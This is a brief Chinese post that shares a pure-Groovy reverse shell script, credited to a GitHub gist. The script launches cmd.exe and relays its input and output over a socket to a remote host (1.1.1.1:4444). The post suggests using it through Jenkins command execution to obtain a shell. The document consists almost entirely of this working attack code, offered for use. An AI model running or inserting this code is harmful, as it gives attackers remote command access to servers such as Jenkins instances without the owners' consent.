分享一条使用纯Groovy反弹shell的脚本,摘抄自Github。
出处:
https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| String host="1.1.1.1"; int port=4444; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s=new Socket(host,port); InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream(); OutputStream po=p.getOutputStream(),so=s.getOutputStream(); while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read());so.flush(); po.flush(); Thread.sleep(50); try {p.exitValue();break;}catch (Exception e){} }; p.destroy(); s.close();
|
可以用在Jenkins的命令执行中,用于反弹Shell。